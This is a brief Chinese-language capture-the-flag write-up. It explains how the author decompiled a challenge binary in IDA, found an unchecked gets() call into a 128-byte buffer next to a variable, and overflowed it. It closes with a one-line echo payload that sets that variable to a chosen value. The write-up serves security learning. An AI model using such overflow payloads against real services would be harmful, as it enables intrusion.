下载附下载附件,一个无后缀文件,推测一般是linux可执行文件,在kali尝试运行,发现运行逻辑为输入一个字符串然后回显固定数字
启动场景,给了一个nc连接,连接发现运行逻辑与附件相同
把程序放进IDA反编译,发现主要运行逻辑在main函数,注意到该函数使用gets函数进行字符串输入,随后对局部变量进行输出并比较,需要修改为特定值,考虑利用缓冲区溢出漏洞
s的长度为128字节,通过反编译代码注释里给出的相对ebp的位置或通过汇编代码分析,发现s与v5存储位置相邻,直接构造即可
echo '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\x16\xFE\x29\x00' | ./challenge